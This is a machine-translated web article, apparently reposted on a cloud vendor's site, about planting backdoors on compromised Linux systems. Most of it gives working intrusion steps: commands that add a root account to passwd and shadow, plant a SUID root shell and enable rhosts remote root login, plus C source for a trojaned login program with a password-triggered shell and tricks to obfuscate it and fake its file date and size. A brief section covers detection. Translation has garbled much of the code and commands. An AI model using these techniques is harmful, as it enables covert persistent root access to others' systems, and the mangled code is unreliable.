Discussion on the backdoor technology and practical methods of odd goods in Linux

Source: Internet
Author: User
Article Title: About the backdoor technology and practical methods of odd goods in Linux. Linux is a technology channel of the IT lab in China. Includes basic categories such as desktop applications, Linux system management, kernel research, embedded systems, and open source.
Backdoor Introduction
  
A technology used to facilitate next entry after intruders fully control the system.
  
You can modify the system configuration file and install a third-party backdoor tool. It is concealed and can bypass system logs and is not easily discovered by system administrators.
  
Common backdoor technology
  
Add a Super User Account
Crack/sniff User Password
Place SUID Shell
Rhosts ++
Using system service programs
TCP/UDP/ICMP Shell
Crontab scheduled task
Shared library files
Toolkit rootkit
Loadable kernel module (LKM)
  
Add Super Users
  
# Echo "e4gle: x: 0: 0: // bin/sh">/etc/passwd
# Echo "e4gle:-1:-1:-1:-1:-1:-1:-">/etc/shadow
  
If the system does not allow users with uid = 0 to log on remotely, you need to add a common user account.
  
Crack/sniff User Password
  
After obtaining the shadow file, use the John the Ripper tool to crack the weak user password. Install sniffit and other sniffing tools, listen to telnet, ftp and other ports, and collect user passwords.
  
Place SUID Shell
  
# Cp/bin/bash/dev/. rootshell
# Chmod u + s/dev/. rootshell
  
A common user can run/dev/. rootshell on the local machine to obtain a shell with the root permission.
  
Rhosts ++
  
# Echo "++">/. rhosts
# Rsh-l root victim.com csh-I
  
You can obtain a rootshell remotely.
  
Using system service programs
  
Modify/etc/inetd. conf and daytime stream tcp nowait/bin/sh-I; replace inted service programs such as in. telnetd and in. rexmcm with trojan program
Redirect login program
  
TCP/UDP/ICMP Shell
  
BindShell is mostly a network service program based on TCP/UDP protocol. It is easy to detect high-port listening. Ping Backdoor and activate a Backdoor through an ICMP packet to form a Shell channel.
  
Backdoors of tcp ack packets can be crossed through the firewall.
  
Crontab scheduled task
  
You can use the Crontab program to schedule installed backdoor programs to run on a regular basis. Generally, this is the time when the system administrator is offline during the late night periods.
  
Shared library files
  
Embed a backdoor function in the shared library and use the backdoor password to activate the Shell. The system administrator can bypass the system administrator's verification of the binary file.
  
Toolkit rootkit
  
Includes a series of system and backdoor tools:
  
-Clear logon records in logs
-Camouflage checksum
-Replacing netstat, ps, and other network tools
-The backdoor logon program is easy to install and use.
  
Loadable kernel module (LKM)
  
LKM: Loadable Kernel Modules dynamic loading without re-compiling the Kernel.
  
Intercepts system calls and provides powerful functions such as hiding directories, files, processes, and network connections.
  
It is easy to discover and conceal itself.
  
The famous LKM packages include adore and knark.
  
Backdoor Detection
  
With your own experience, combined with specific tools, you can work with your hands to detect.
  
Use Tripwire or md5 verification to check the system.
  
The IDS system monitors suspicious network connections on the target machine.
  
Instance: login Backdoor
  
The intruder first backs up the original/bin/login and replaces/bin/login with a program. When an intruder logs in via telnet, it uses environment variables or terminal types.
If a correct backdoor password is passed, a Shell is directly obtained. If a common user logs on, the Shell is redirected to the original login file to process normal logon.
  
The simplest login backdoor ulogin. c source code is as follows:
  
Instance: login Backdoor
  
# Include
# Define PASSWORD "passWORD"
# Define _ PATH_LOGIN "/sbin/logins"
  
Main (argc, argv, envp)
Int argc;
Char ** argv, ** envp;
{
Char * display = getenv ("DISPLAY ");
If (display = NULL ){
Execve (_ PATH_LOGIN, argv, envp );
Perror (_ PATH_LOGIN );
Exit (1 );
}
If (! Strcmp (display, PASSWORD )){
System ("/bin/csh ");
Exit (1 );
}
Execve (_ PATH_LOGIN, argv, envp );
Exit (1 );
}
  
Use a backdoor to log on
  
First, the Telnet service is enabled on your machine:
  
Bash $ export DISPLAY = passWORD
Bash $ telnet victim.com
Trying xxx. xxx...
Connected to victim.com (xxx. xxx ).
Escape character is '^]'.
% _
  
Strings command
  
The strings command can print the printable string in the binary file for the ulogin program just now:
  
Bash $ strings ulogin
/Lib/ld-linux.so.2
..............
DISPLAY
/Sbin/logins
PassWORD
/Bin/csh
  
Encrypted backdoor password
  
1. Use the DES algorithm, namely the crypt () function, to compile the gen. c program:
  
# Include
Main (int argc, char * argv [])
{
If (argc! = 3 ){
Printf ("usage: % s \ N ", argv [0]);
Exit (1 );
}
Printf ("% s \ n", crypt (argv [1], argv [2]);
}
  
2. Compile to gen and run the./gen hack ui. The shadow result is UiVqMWvDrIQjA.
  
3. Modify the backdoor source code ulogin. c:
  
-- Replace the define macro PASSWORD value in ulogin. c with a ciphertext PASSWORD.
  
-- If the backdoor password is correct, directly give the Shell:
  
If (! Strcmp (PASSWORD, crypt (display, PASSWORD )))
{
System (SHELL );
Exit (1 );
}
  
Use the strings command to view only the encrypted password.
  
Use an exclusive or (XOR) Algorithm
  
Represents a string in hexadecimal notation to achieve the non-printable effect.
  
1. The encoding program encode. c is as follows:
  
Char magic [] = "\ x71 \ x67 \ x6d \ x7a \ x65 \ x61 \ x7a ";
Char * de (char * str, char * key)
{
Int I = 0, j = 0, len;
Len = strlen (key );
While (str [I]! = '\ 0 '){
Str [I] ^ = key [j];
J ++;
If (j = len) j = 0;
I ++;
}
Return str;
}
Void display (char * str)
{
Int I;
For (I = 0; I Printf ("\ n ");
}
Main ()
{
Char gets [100], * ptr;
Ptr = gets;
Scanf ("% s", ptr );
De (ptr, magic); display (ptr );
}
  
2. Compile the program encode and execute it in sequence to obtain the result of the key string and magic string exclusive or, for example, the original login file name/sbin/xlogin, after exclusive or:
\ X5e \ x14 \ xf \ x13 \ xb \ x4e \ x2 \ x1d \ x8 \ xa \ x13 \ xb
  
3. The definition in the backdoor source code is as follows:
  
Char
Login [] = "\ x5e \ x14 \ xf \ x13 \ xb \ x4e \ x2 \ x1d \ x8 \ xa \ x13 \ xb ";
  
Then insert the unique or function char * de () with the same magic string to determine the correct backdoor password.
  
The password, path, and other strings cannot be seen using the strings command.
  
Last Modification
  
Make the strings output of the backdoor ulogin similar to the strings output of the normal login, the practice is:
  
Add a string array char strings [] = ""; to the ulogin. c code, and enter the strings output result of the normal login program in quotation marks.
  
To be confused.
  
Adjust the file date and size attributes of the backdoor program:
  
1. Date
  
# Ls-l/sbin/xlogin
-R-sr-xr-x root 19300 Feb 11 1998
/Sbin/xlogin
# Touch-t 199802110000 ulogin
#_
  
2. Resize
  
# Ls-l ulogin/sbin/xlogin
-R-sr-xr-x root 7542 Feb 11 1998 ulogin
-R-sr-xr-x root 19300 Feb 11 1998/sbin/xlogin
# Bc
19300-7542
11758
# Dd if =/sbin/xlogin of =/tmp/t bs = 11758 count = 1
1 + 0 records in
1 + 0 records out
11758 bytes transferred in 0.000379 secs (31016746
Bytes/sec)
# Cat/tmp/t> ulogin
  
Login backdoor Detection
  
Run the md5sum command to verify the existing/bin/login file and compare it with the previous value.
  
Use RPM verification in Red Hat Linux:
  
# Rpm-V util-linux
  
If the hacker has used a backdoor to log on, the who cannot see the user. view the system process and search for the words "login-h xxx. xxx.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.